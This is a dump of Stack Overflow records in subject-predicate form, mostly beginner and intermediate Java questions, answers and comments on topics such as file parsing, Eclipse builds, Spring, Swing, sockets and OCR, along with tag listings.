has body: I have a text file that would supposedly look like this I am Hakan. My email address is hakan@cs.uh.edu, and what is your name? Hi my name is Tarikul and my favorite email address is tarikul2000@uh.edu im supposed to create a program that will locate the emails in the file store the username,domaian, subdomain and extension then rewrite them int another text file. import java.io.* ; import java.io.FileNotFoundException; import java.util.Scanner; import java.io.PrintWriter; import java.io.FileOutputStream; public class Try { public static void main(String[] args) { Email [] storage;// email is a class that was made to store the data try { Scanner input= new Scanner("inputemails.txt"); PrintWriter output= new PrintWriter("outputemails.txt"); } catch (FileNotFoundException e) { System.out.print("File not found"); System.exit(0);} int i=0; while(input.hasNextLine()){ if(input.contains("@")); { storage[i]= } } } } this is what i have so far , its not much but how would i get it to find the email in the text file? also i thought it be better if i added the actual instructions to my assignment, im not asking for anyone to do the entire progam jus how would i separate the data i need to find Connect to the external input file. The name of the input file will always be inputemails.txt, and therefore please don’t ask the file name in your program. Detect the email addresses in the file. If an email does not have a sub-domain, please create Email object for that email. If an email has a sub-domain, please create UniversityEmail object for that email. Please store all emails in the same (one single) array list. After you copy all emails from the file to the array list, please ask the user what type of emails to be included in the output file. If the user enters 0, please write the emails that do not have sub-domain in the array list. Please note that the output file must start with a number indicating the number of emails in the file. If the user enters a number between 1-7, pl…
linked to: http://stackoverflow.com/q/2250820
has comment: http://stackoverflow.com/comment/33892567
has comment: http://stackoverflow.com/comment/33892515
favorite count: 0
linked to: http://stackoverflow.com/q/9763606
accepted answer: http://stackoverflow.com/a/22305936
score: 0
has comment: http://stackoverflow.com/comment/33892700
has title: finding an email in a text file and sorting the email information
tagged with: file
duplicate of: http://stackoverflow.com/q/2250820
has comment: http://stackoverflow.com/comment/33893983
duplicate of: http://stackoverflow.com/q/9763606
type: AnsweredQuestion
upvote count: 3
tagged with: java
downvote count: 3
type: Question
linked to: http://stackoverflow.com/q/22073976
has comment: http://stackoverflow.com/comment/33893332
tagged with: iostream
answer count: 1
has answer: http://stackoverflow.com/a/22305936

http://stackoverflow.com/q/22212840
type: UnansweredQuestion
upvote count: 1
has title: Why am I getting different java versions in different eclipse projects?
downvote count: 1
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22212841
tagged with: eclipse
score: 0
has comment: http://stackoverflow.com/comment/36083841
answer count: 1
favorite count: 0
has body: I actually figured out the answer to my question just before clicking the "Post" button, but this has been so frustrating for me, I am going ahead and posting it in the hopes that it will help someone else. The answer is below. I am using Eclipse Kepler, which is built with Java 1.7 (but I don't think that comes into play in this issue). My problem is that I'm ending up with different versions of java in different projects. I have several related projects, I'll call them BV_S, BV_A, and BV_L. Before I took over this work, there was an ugly Subversion External thing set up so that the BV_A and BV_L project would each pull in some java source files from deep in the bowels of the BV_S project. To clean this up, I decided to pull all that shared source out and create a new BV_Common project, which would create a BV_Common.jar file, and then I'd use that .jar in building each of the three existing projects. Historically, these projects used a mixture of Java 1.5 and 1.6. My intent is to do everything with 1.6. I've created the BV_Common.jar file, checked it into Subversion, and set up Subversion External properties in the other projects so that this .jar file is available in each of the BV_S, BV_A, and BV_L projects, and modified the Properties for each of the three projects to include BV_Common.jar. When I run the build.xml script in each of these projects using "Run as ANT script", I get differing results. BV_L builds just fine. BV_A and BV_S both get the dreaded "bad class file blah blah BV_Common.jar . . . class file has wrong version 50.0, should be 49.0" error -- an indication that I'm trying to use a .jar file built with Java 1.6 while running java 1.5. In all these projects, the build.xml file references an elaborate collection of shared build XML files (pulled in from a single common source). One of the things these files do is print out the value of "java.version". For the BV_L project, it's reported as 1.6.0_30; for BV_S and BV_C it's 1.5.0_14. So somehow, som…
has comment: http://stackoverflow.com/comment/33725184

http://stackoverflow.com/a/22301232
score: 2
has comment: http://stackoverflow.com/comment/33888226
has body: You might be better using combinatorics to compute the number of paths. For example, suppose there are 2 soldiers and 5 steps. Represent the distance the first soldier has moved by y, and the distance the second soldier has moved by x. You are trying to count the number of monotonic paths from 0,0 to 3,3 such that y is never greater than x. This is a well known problem and the answer is given by the Catalan numbers. In this case, the answer is given by the Catalan number for n=3, which is 5. When you have more than 2 soldiers you will need to use multidimensional Catalan numbers. A useful guide and formula can be found on OEIS: T(m, n) = 0! * 1! * .. * (n-1)! * (m * n)! / ( m! * (m+1)! * .. * (m+n-1)! )
downvote count: 0
has comment: http://stackoverflow.com/comment/33887366
has comment: http://stackoverflow.com/comment/33887968
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/22296083

http://stackoverflow.com/comment/33666874
has text: plz explain how the other thread is going to call this method?
comment on: http://stackoverflow.com/a/22180617
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/22271127
has comment: http://stackoverflow.com/comment/34016438
has comment: http://stackoverflow.com/comment/34014420
has body: Its a Composition, As your Account object must have an owner associated with it. If you will allow your Account object creation without any owner associated with it then its a aggregation. But as per common business logic, it may be always desirable to exist an Account with an owner. An account without an owner will have no sense. Composition is stricter version of Aggregation. Aggregation simply states "has a" but you can think of Composition as stricter or must to have to create an object (in your case Account object)
has comment: http://stackoverflow.com/comment/33830430
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/34012048
has comment: http://stackoverflow.com/comment/34016373
type: Answer
has comment: http://stackoverflow.com/comment/34012722
has comment: http://stackoverflow.com/comment/33830109
has comment: http://stackoverflow.com/comment/33829949
has comment: http://stackoverflow.com/comment/34016701
score: 1
answers question: http://stackoverflow.com/q/22271113
has comment: http://stackoverflow.com/comment/33830285
has comment: http://stackoverflow.com/comment/34013741

http://stackoverflow.com/comment/33699582
type: QuestionComment
comment on: http://stackoverflow.com/q/22199180
type: Comment
has text: @Marko Topolnik: That test becomes green Assert.assertTrue(a||a&&!b == a&&b);
score: 0

http://stackoverflow.com/a/45621133
answers question: http://stackoverflow.com/q/22178414
score: 1
downvote count: 0
has body: SharedPreference APIs are used to save key-value pairs. They store them in files and are private or public based on the mode you instantiate the SharedPreference object. They are used to store a small set of key-value pairs. This key here is of type String and the value can be any primitive type. PreferenceManager is part of the Preference APIs. Preference API allows you to define a complete settings UI. This settings UI is an XML layout. You use a PreferenceManager to manage this Preference object's tree. It uses the SharedPreference APIs to store the various settings a user might change using that graphical layout you created. Reference - "Android Docs Training"
type: Answer
upvote count: 1

http://stackoverflow.com/comment/33887967
comment on: http://stackoverflow.com/q/22303203
type: Comment
score: 1
type: QuestionComment
has text: possible duplicate of [how to change font size of JOptionPane](http://stackoverflow.com/questions/12724686/how-to-change-font-size-of-joptionpane)

http://stackoverflow.com/q/22282632
has answer: http://stackoverflow.com/a/22283626
tagged with: client
type: UnansweredQuestion
tagged with: multithreading
tagged with: java
has comment: http://stackoverflow.com/comment/33851483
has title: MultiThreaded Server, which is a client to another server
has comment: http://stackoverflow.com/comment/33850829
type: Question
score: 0
tagged with: java-server
answer count: 1
has body: I'm using a server socket to accept clients on the main thread, when a thread is accepted,the clients socket is given to a handler which is started in a new thread to process communications. However, before I start running my server to access clients, it connects to a second server which it must list to and be able to respond to and pass on the messages it gets to it's clients. Hopefully this image illustrate what I mean: The small server must be continuously listening for input from the big server, and also able to output responses. //Default constructor private smallServer(){} //method to initialise and start the server public static void StartServer(int port) throws IOException { smallServer ss = new smallServer(); ss.bs= new bigServerClient(ss); Thread nsc_Thread = new Thread(ss.bsc); bsc_Thread.start(); //accepts clients and starts new thread for them ss.ServerRun(port); } private void ServerRun(int port) throws IOException { ServerSocket server = new ServerSocket(port); server.setSoTimeout(50); while (run) { Socket client = null; try { client = server.accept(); } catch (SocketTimeoutException e) { } if (client != null) { ClientHandler handler = new ClientHandler(client, this); Thread handleThread = new Thread(handler); handleThread.start(); } } if (!run) { synchronized (ClientHandler.handlers) { for (ClientHandler handler : ClientHandler.handlers) { handler.terminateHandler(); } } System.exit(0); } } public void processBigServerCommand(String toProcess) { System.out.println("RESEAVED: " + toProcess); } The big server client(on the small server) then does this: public class bigServerClient implements Runnable { private smalsServer ss; private PrintWriter printer; private BufferedReader reader; private Socket socket; public bigServerClient(smallServer _ss) throws IOException { ss = _ss; socket = new Socket("Localhost", 5000); printer = new PrintWriter(socket.getOutputStream()); reader = new BufferedReader(new InputStreamReader(socket.getInputStream())); printer.…
tagged with: sockets

http://stackoverflow.com/comment/33648498
type: Comment
comment on: http://stackoverflow.com/q/22170640
type: QuestionComment
has text: Why don't you insert the values alphabetically into excel rather than inserting and sorting the excel. Just a thought .It is an easy method indeed. As they say prevention is better than cure. Why to make the process complex. :)
score: 1

http://stackoverflow.com/a/22327455
has comment: http://stackoverflow.com/comment/33930711
upvote count: 2
answers question: http://stackoverflow.com/q/22327173
has comment: http://stackoverflow.com/comment/33931257
type: Answer
has body: Why in the name of everything that is holy do you have the same bloody code copy-pasted N times? The only difference is that the bloody numbers change. Rewrite them in a loop, then there's only a single point to check for correctness.
score: 2
downvote count: 0

http://stackoverflow.com/q/22180541
tagged with: jsp
favorite count: 0
has comment: http://stackoverflow.com/comment/33666689
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33667089
has comment: http://stackoverflow.com/comment/33666836
has comment: http://stackoverflow.com/comment/33684485
has comment: http://stackoverflow.com/comment/33667300
linked to: http://stackoverflow.com/q/7429649
tagged with: spring-mvc
has comment: http://stackoverflow.com/comment/44006763
has title: Passing objects in Spring MVC controllers
has comment: http://stackoverflow.com/comment/33667135
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/33666889
tagged with: java
upvote count: 1
has body: I need help with a very simple problem I have in my web app using Spring MVC. controller1 retrieves a list of objects from a database that are displayed in jsp1. In my jsp1, each object is represented by a link that redirects to controller2. I want to have the object represented by that link in controller2 (or the full list of objects). These are controller 1 and controller 2: @RequestMapping(value = "/mapping1", method = RequestMethod.GET) public String controller1(Map&lt;String, Object&gt; map, HttpServletRequest request) { List testList = service.getList(request.getParameter("testParam")) map.put("testList", testList); return "jsp1"; } @RequestMapping(value = "/mapping2", method = RequestMethod.GET) public String controller2(Map&lt;String, Object&gt; map) { // How to get testObject (or testList) here? return "jsp2"; } And this is jsp1: &lt;c:forEach items="${testList}" var="testObject"&gt; &lt;tr&gt;&lt;a href="/mapping2"&gt;${testObject.name}&lt;/a&gt;&lt;/tr&gt; &lt;/c:forEach&gt;
type: Question
has comment: http://stackoverflow.com/comment/33667340
downvote count: 0

http://stackoverflow.com/comment/33761366
comment on: http://stackoverflow.com/a/22232640
score: 0
type: Comment
has text: Allright I updated my answer with the full code I am using. It works I just tested it.
type: AnswerComment

http://stackoverflow.com/comment/33925606
has text: `I apologize if this didn't format correctly, I tried to do it right.`---Any IDE can format the code for you.
score: 0
comment on: http://stackoverflow.com/q/22324612
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22181464
has answer: http://stackoverflow.com/a/22182428
type: Question
tagged with: jpa
answer count: 1
score: 0
tagged with: google-app-engine
tagged with: sql
has body: Hi, I would like to get an idea about wich storing data solution to use for a medium application stored on app engine written in JAVA (jsf 2.1). I want use use a few tables around 15, with a lot of interactions. Should I use the usual datastore with JPA 2 but without (many to many) relations or shouldd i use an eternal database storage ? The Google cloud sql seam to be the best solution with JPA 2 to persist the data, nevertheless it's not FREE. With the datastore and JPA 2, we can't create many to many relations, but can't we do that with 2 "one to many" relations ? For example : A plane and some passengers. A plane can own many passengers, and a passenger can use many planes. We can translate it to the relation : Plane many to many passengers. And in the datastore we should store it like PLANE one to many TICKET many to one PASSENGER Thanks a lot for your answers :))
has title: JPA 2 : Datastore or external database?
has comment: http://stackoverflow.com/comment/33691825
type: UnansweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33699886

http://stackoverflow.com/a/22250472
type: Answer
has body: Seems you need to use ItemListener, for example: JComboBox box = new JComboBox(kwe); box.addItemListener(new ItemListener() { @Override public void itemStateChanged(ItemEvent e) { if(e.getStateChange() == ItemEvent.SELECTED){ System.out.println(((JComboBox)e.getSource()).getSelectedItem()); // other actions } } });
score: 2
answers question: http://stackoverflow.com/q/22250386
downvote count: 0
has comment: http://stackoverflow.com/comment/33792975
upvote count: 2

http://stackoverflow.com/q/22178092
has answer: http://stackoverflow.com/a/22178302
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22178314
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/33662039
has comment: http://stackoverflow.com/comment/33662020
favorite count: 0
has comment: http://stackoverflow.com/comment/33662099
downvote count: 0
has answer: http://stackoverflow.com/a/22178477
has comment: http://stackoverflow.com/comment/33662731
type: UnansweredQuestion
type: Question
has body: I'm new to java. When I compile my code on the terminal it is telling me I am getting several errors and I am not sure why. Most of the errors are "can't find symbol" import java.util.Scanner; public class CircularQueue { private int head, tail; private String [ ] q = new String [ 10 ]; private String name; Scanner input = new Scanner (System.in); public CircularQueue () { head = -1; tail = -1; } public void insertQueue () { if (isQueueFull () ) System.out.println ("Overflow"); else { name = getName (); if (isQueueEmpty () ) head = +1; if (tail==Size-1) tail=-1; q [++ tail] = name; } } public void deleteQueue() { String x; if ( isQueueEmpty () ) System.out.println("Underflow"); else { x=q[head]; System.out.println ("Servicing " + x); if (head==tail) { head=-1; tail=-1; } else { head ++; if (head==Size) head=0; } } } private String getName () { System.out.println("Enter name"); return input.nextLine (); } public boolean isQueueEmpty () { return (head==-1); } public boolean isQueueFull () { return ((tail-head+1==0) || (tail-head+1==Size)); } public void printQueueLogical () { int next; if (isQueueEmpty()) System.out.println ("Empty"); else { next=head; System.out.println (" q [" + next + "] = " +q[next]); while (next != tail) { next ++; if (next==Size) next=0; System.out.println (" q [" + next + "] = " +q[next]); } } } public void printQueuePhysical () { for (int J=0; J&lt;Size; J++) System.out.println (" q [" + J + "]= " + q [J]); } class TestCircularQueue { public static void main ( strings [] args) { CircularQueue n = new CircularQueue (); for (int J=0; J&lt;3; J++) m.insertQueue (); m.deleteQueue (); m.printQueueLogical (); } } }
has title: CircularQueue program is getting errors

http://stackoverflow.com/q/22220962
linked to: http://stackoverflow.com/q/7238985
score: 2
tagged with: android-layout
tagged with: java
has answer: http://stackoverflow.com/a/28604205
type: Question
answer count: 3
has answer: http://stackoverflow.com/a/22221122
downvote count: 0
favorite count: 0
tagged with: android
has body: I have followed the following link so that my application can support different screen sizes: Supporting multiple screens in android That solution works perfectly. But my concern here is, when I have an android application having 8-9 screens, then it means that I will have 8-9 different .xml layout files. Now to support all screens by folder bifurcation , it means I have manage almost above fifty xml files for layouts and for a simple change in UI, I have to go to all the folders and implement that change in xml file. So can there be a better way , I mean such a layout that can just resize the controls by itself or something like that?
has title: Supporting multiple screens in android in single layout
has answer: http://stackoverflow.com/a/22221498
upvote count: 2
linked to: http://stackoverflow.com/q/21274692
type: UnansweredQuestion

http://stackoverflow.com/q/22221741
has body: While reading through Spring transaction documentation I see that it supports both Global transactions and Local transactions. In simple terms what is global transaction and what is local transaction? What are the advantages of one over the other? What are the appropriate uses of them? If I use the following configuration – does it mean it is a local transaction? &lt;tx:annotation-driven transaction-manager="transManager" /&gt; &lt;bean id="transManager" class="org.springframework.orm.jpa.JpaTransactionManager"&gt; &lt;property name="entityManagerFactory" ref="emf" /&gt; &lt;/bean&gt; I tried searching both in Google and Stackoverflow, but did not get any resources explaining the same in simple terms.
type: Question
upvote count: 17
tagged with: spring-transactions
has answer: http://stackoverflow.com/a/22223589
answer count: 1
tagged with: distributed-transactions
favorite count: 0
tagged with: spring
accepted answer: http://stackoverflow.com/a/22223589
type: AnsweredQuestion
tagged with: transactions
tagged with: java
has title: Spring Global transaction vs Local transaction
score: 16
downvote count: 1

http://stackoverflow.com/comment/34410235
type: Comment
score: 0
type: AnswerComment
has text: I'm aware of that, but you still need to use AsyncTask especially when loading from the disk or network location. If loading from memory it's not as important. You need to read the document I linked to, specifically the parts about AsyncDrawable and WeakReference.
comment on: http://stackoverflow.com/a/22600448

http://stackoverflow.com/q/22248790
favorite count: 0
has comment: http://stackoverflow.com/comment/33983571
has title: Java OCR isn't producing any output
type: UnansweredQuestion
score: 7
tagged with: java
has answer: http://stackoverflow.com/a/35738683
upvote count: 7
type: Question
has comment: http://stackoverflow.com/comment/33945017
has comment: http://stackoverflow.com/comment/33789427
has answer: http://stackoverflow.com/a/22355721
answer count: 2
has body: I'm using this ocr algorithm http://sourceforge.net/projects/javaocr/ to detect numbers in an image. I've tried using tesseract, but i had the exact same problem, sometimes it didn't work. This hasn't ever worked (java ocr). When i used java ocr, it didn't procuce any output but /n. The image is completely white and the numbers are black. The only artifacts in the image are two lines near the top and bottom borders that don't even interefere with the characters. The alignment is normal, like printed text, it's not handwriting or skewed. BufferedImage image2 = ImageIO.read(new File("moneyImage"+".bmp")); ImageManipulator.show(image2, 5); OCRScanner scanner = new OCRScanner(); String items = scanner.scan(image2, 0, 0, 0, 0, null); System.out.println(items); The image2 shows clearly, and this example was taken from someone else that published it as such. I'm not doing anything complicated, and it doesn't make sense to me why this shouldn't work. It's a simple greyscale image. When I try running the standalone program (the java ocr one), it works and produces the correct numbers as output. I don't know how to extract the characters from within my java project and why it doesn't work. My test image is: Also, this String lastText = null; Tesseract instance = Tesseract.getInstance(); try { lastText = instance.doOCR(imageFile); } catch (TesseractException ex) { Logger.getLogger(ActionAbstraction.class.getName()).log(Level.SEVERE, null, ex); } produces absolutely no output, even if i give a picture of a single digit, as outputted from java ocr. They seem to work but both just don't output anything when i do the actual scan. Also, i'm using tiff images, and as I said before, the character extraction works normally. What doesn't work is java code calling a scan on the image. I have linked the appropriate libraries (or it would produce compiler errors)
downvote count: 0
tagged with: ocr

http://stackoverflow.com/comment/33665658
has text: However, in case it's useful, here it is:
comment on: http://stackoverflow.com/q/22179048
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22214477
favorite count: 0
upvote count: 2
has body: RandomAccessFile.readFully docs say "This method reads repeatedly from the file until the requested number of bytes are read. This method blocks until the requested number of bytes are read, the end of the stream is detected, or an exception is thrown." I'd like similar behavior from FileChannel.read but not sure the right way to guarantee it.
has title: Does FileChannel.read(ByteBuffer) work like RandomAccessFile.readFully(byte[])?
type: AnsweredQuestion
score: 2
tagged with: java
accepted answer: http://stackoverflow.com/a/22235174
possible better answer: http://stackoverflow.com/a/22238133
type: Question
has answer: http://stackoverflow.com/a/22238133
answer count: 2
downvote count: 0
tagged with: nio
has answer: http://stackoverflow.com/a/22235174

http://stackoverflow.com/q/22296306
score: 2
type: AnsweredQuestion
tagged with: java
tagged with: unit-testing
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/33875438
has title: Not able to get data from request in Junit when action class implements ParameterAware
tagged with: struts2
has answer: http://stackoverflow.com/a/22296724
answer count: 2
has answer: http://stackoverflow.com/a/22298892
favorite count: 0
upvote count: 2
possible better answer: http://stackoverflow.com/a/22298892
accepted answer: http://stackoverflow.com/a/22296724
has body: I need to write jUnit for Struts 2 action class.But action class is implementing ParameterAware interceptor which takes parameter map in HashMap and action class takes all request parameter from this hashmap Action Class: public class BrokerAction extends ActionSupport implements ServletRequestAware, ServletResponseAware,SessionAware, ParameterAware { /** The parameters. */ private Map parameters; @Override public void setParameters(final Map param) { this.parameters = param; } public String getParameterValue(final String param) { final Object varr = getParameters().get(param); if (varr == null) { return null; } return ((String[]) varr)[0]; } public String getBrokerDetails()throws PactException{ String id = getParameterValue("id"); } When i am putting data from Junit in request then it hasn't reflected in parameters map Junit: @Test public void testGetActionProxy() throws Exception { request.setAttribute("id", "23"); ActionProxy proxy = getActionProxy("/getBrokerDetails"); BrokerAction brokerAction = (BrokerAction) proxy.getAction(); brokerAction.getBrokerDetails(); } Please help as how request data will be reflected in parameters map
tagged with: junit3

http://stackoverflow.com/a/22245066
has body: Unfortunately Java Generics (unlike C++ templates) don't allow you to use constructions like new T(). This happens because Generics are considered as syntax sugar, inside JVM these entities are simply references of type Object (unlike Javac a C++ compiler derives a separate instance of code for each instantiation of a template parameter. Thus you may move creation of an object of a particular type out of the function and pass a reference to a pre-created object or instantiate an object using reflection and explicitly specified object class as described on java generic constructors
has comment: http://stackoverflow.com/comment/33789361
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/22245024
downvote count: 0
score: 1

http://stackoverflow.com/comment/33901648
type: Comment
has text: If you are changing the size of availableNodes on iteration, it's no wonder you're getting this exception! Create a copy of availableNodes and use that to iterate. for (Customer node : copy)
comment on: http://stackoverflow.com/a/22308737
type: AnswerComment
score: 0

file-io
tags question: http://stackoverflow.com/q/22190800
tags question: http://stackoverflow.com/q/22242714
tags question: http://stackoverflow.com/q/22317825
type: Tag
tags question: http://stackoverflow.com/q/22259186
tags question: http://stackoverflow.com/q/22248814
tags question: http://stackoverflow.com/q/22259620
tags question: http://stackoverflow.com/q/22251410
tags question: http://stackoverflow.com/q/22201303
tags question: http://stackoverflow.com/q/22289304
tags question: http://stackoverflow.com/q/22308158
tags question: http://stackoverflow.com/q/22289977
tags question: http://stackoverflow.com/q/22205113
tags question: http://stackoverflow.com/q/22175998
tags question: http://stackoverflow.com/q/22277551
tag name: file-io
tags question: http://stackoverflow.com/q/22267247
tags question: http://stackoverflow.com/q/22233631
tags question: http://stackoverflow.com/q/22240905
tags question: http://stackoverflow.com/q/22182873

war
tags question: http://stackoverflow.com/q/22177443
tags question: http://stackoverflow.com/q/22237388
type: Tag
tag name: war

http://stackoverflow.com/a/22181531
has body: You're trying to do way to much. You don't need the Map at all. See below, very simple. The reason you currently getting all colored red is because you have setBackground outside of the if. So no matter what happens, it will be red. You can see more here on how to use a render for a list import java.awt.Color; import java.awt.Component; import javax.swing.DefaultListCellRenderer; import javax.swing.JList; import javax.swing.JOptionPane; import javax.swing.JScrollPane; import javax.swing.SwingUtilities; public class ListColorRed { public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { public void run() { Integer[] nums = {10, 2, 5, 8, 2, 9, 2, 8, 10, 4, 6}; JList list = new JList(nums); list.setCellRenderer(new DefaultListCellRenderer() { @Override public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); Integer num = (Integer) value; if (num &lt; 5) { setBackground(Color.RED); } return this; } }); JOptionPane.showMessageDialog(null, new JScrollPane(list)); } }); } }
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22180574
type: Answer
upvote count: 1

http://stackoverflow.com/q/22323530
possible better answer: http://stackoverflow.com/a/22323865
has answer: http://stackoverflow.com/a/22323865
tagged with: jvm
favorite count: 0
score: 8
upvote count: 8
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33924097
has title: get object from memory by hash code
has answer: http://stackoverflow.com/a/22323926
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/22323926
has body: My question is relate to security level of JVM How we can we get the object from memory by proving hash code? Today i was thinking. I create an object of class A in an execution environment One. And get the hash code from here of that object. Now in another execution environment i want to get back class A object by providing hash code. I think it is possible. Because when I execute environment one. Again and again i get that JVM return the same hash code. Means it first find the object in its cache. If it get the reference, it just return it. So now back to question, we have to understand what data is copied when we write =. Object a=new Object();// here as we know reference of new object will be stored in refvar a. Then what in actual is passes through. If we get what data is passed by =(equal operator). We will able to get the object from memory. Thanks
downvote count: 0
has comment: http://stackoverflow.com/comment/33923767

http://stackoverflow.com/q/22198500
accepted answer: http://stackoverflow.com/a/22198791
tagged with: swing
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33698651
tagged with: java
tagged with: jpanel
has title: Java GUI place layout under boxlayout
type: Question
has body: I have used borderlayout to specify where the content of my java GUI shall be placed, I have then chosen to place it on EAST and then made two boxlayouts to show two columns of buttons. I now have to place something underneath it and not beside it. How would you suggest or advice me to do so, using any layout but preferably boxlayout and not absolute layout(null). Thanks in advance. Image: The arrow points to the place I want another JPanel to be.
has comment: http://stackoverflow.com/comment/33698674
tagged with: layout
answer count: 1
has comment: http://stackoverflow.com/comment/33698550
score: 0
tagged with: user-interface
has answer: http://stackoverflow.com/a/22198791
has comment: http://stackoverflow.com/comment/33698622

http://stackoverflow.com/a/22258798
has body: From outside the class definitions of A and B, you cannot force the superclass method to run. B has overridden it, so if an A reference refers to a B, B's foo method will run and print "B". No changes outside of these classes can change this polymorphic behavior -- having an actual B object will print "B". To force it to print "B", you must change code in the A/B classes. You can mark foo as final in A so that B can't override it. Optionally, you can optionally include another method call in A's foo that B can override, so that A can guarantee that "A" will be printed, but B can still do whatever it wants when foo is called. static class A { public final void foo() { System.out.println("A"); // Optional. bar(); } protected void bar() {} } static class B extends A { // Can't override "foo" now -- can't prevent "A" from being printed. //public void foo() { // System.out.println("B"); //} // Optional. @Override protected void bar() { System.out.println("B"); } } Here, foo will always print "A", but B can also print "B" if it really wants.
downvote count: 1
answers question: http://stackoverflow.com/q/22258565
has comment: http://stackoverflow.com/comment/33808071
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/33807989
score: 1

http://stackoverflow.com/comment/33746036
comment on: http://stackoverflow.com/a/22225320
score: 0
type: AnswerComment
has text: wont try-with-resources work the same way with pooling? Will existing elements get closed automatically?
type: Comment

http://stackoverflow.com/q/22327421
has title: i got index 0 size 0 exception how to solve this?
has comment: http://stackoverflow.com/comment/33930696
has comment: http://stackoverflow.com/comment/33930993
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33930804
has comment: http://stackoverflow.com/comment/33931033
has comment: http://stackoverflow.com/comment/33930692
has answer: http://stackoverflow.com/a/22327712
tagged with: java
score: -1
has comment: http://stackoverflow.com/comment/33930688
upvote count: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33930848
has body: I am new to Android. I have used 2 array lists al and oh in my code. I assume the loop condition will be k+2 &lt; al.size(), but still I got exception "index 0 size 0". How do I solve this? public class delay extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.delay); //final EditText text; Button btnReadSDFile; //String line="" ; //String file_name; btnReadSDFile = (Button) findViewById(R.id.button12); //text = (EditText) findViewById(R.id.text); //text.setHint("Enter some lines of data here..."); btnReadSDFile.setOnClickListener(new OnClickListener() { public void onClick(View v) { // write on SD card file data in the text box try { File dir = Environment.getExternalStorageDirectory(); File file = new File(dir, "/Notes/delay.csv"); FileInputStream fIn = new FileInputStream(file); BufferedReader myReader = new BufferedReader( new InputStreamReader(fIn)); FileWriter outFile = new FileWriter("/sdcard/Notes/duration.csv"); BufferedWriter outStream = new BufferedWriter(outFile); String aDataRow = ""; StringTokenizer st = null; String start=null; String end=null; String sm_time,sn_time,em_time,en_time; long dm_time1,sn_time1,em_time1,en_time1; ArrayList&lt;String&gt; al = new ArrayList&lt;String&gt;(); ArrayList&lt;String&gt; oh = new ArrayList&lt;String&gt;(); while ((aDataRow = myReader.readLine()) != null) { st = new StringTokenizer(aDataRow, ","); while (st.hasMoreTokens()) { al.add(st.nextToken()); }//while } int i=0; do{ start=al.get(i); end=al.get(i+3); if(start.equals(end)) { sm_time=al.get(i+1); em_time=al.get(i+4); dm_time1=Long.parseLong(em_time)-Long.parseLong(sm_time); oh.add(start); oh.add(String.valueOf(dm_time1)); sn_time=al.get(i+2); en_time=al.get(i+5); sn_time1=Long.parseLong(en_time)-Long.parseLong(sn_time); oh.add(String.valueOf(sn_time1)); i+=2; } else{ dm_time1=1; oh.add(start); oh.add(String.valueOf(dm_time1)); sn_time1=1; oh.add(String.valueOf(sn_time1)); i…

http://stackoverflow.com/q/22287988
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33860723
tagged with: copy-constructor
accepted answer: http://stackoverflow.com/a/22288465
favorite count: 0
possible better answer: http://stackoverflow.com/a/22287996
has answer: http://stackoverflow.com/a/22287996
upvote count: 1
has title: copy constructor in java
type: AnsweredQuestion
score: 1
tagged with: java
has body: class Client{ private String name; private int age; private int amount; public Client(Client otherClient){ name=otherClient.name; age=otherClient.age; amount=otherClient.amount; } } What if I want to use this later on: Client c1=new Client("Smith"); or Client c1=new Client("Smith",20); or Client c1=new Client("Smith",20,100); How can I have optional parameters? Do I have to define constructors for each case? Thanks
tagged with: optional-parameters
type: Question
has answer: http://stackoverflow.com/a/22288465

http://stackoverflow.com/a/22211445
type: Answer
upvote count: 1
score: 1
has body: The fact that you have a jar is irrelevant. What matters is the location of the file relative to the current directory (the one you get when you execute pwd). If you're in the directory /Home/aken, and execute the command less ./resources/scripts/patch.file it will try to open and display the file /Home/aken/resources/scripts/patch.file. The same goes with relative file paths in Java. If you're in the directory /Home/aken, and execute java -cp patch.jar patch and the code of the class uses new File("./resource/scripts/patch.file"); Then java will try to open the file /Home/aken/resources/scripts/patch.file. If you're in /foo/bar and execute the command java -cp /Home/aken/patch.jar patch then java will search for the file relative to the current directory, which is /foo/bar. And it will thus open the file /foo/bar/resources/scripts/patch.file.
accepted answer of: http://stackoverflow.com/q/22211371
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22211371

http://stackoverflow.com/q/22309312
answer count: 1
downvote count: 0
favorite count: 0
tagged with: static
has answer: http://stackoverflow.com/a/22312154
score: 1
tagged with: java
has title: Java RMI object static and not static field?
upvote count: 1
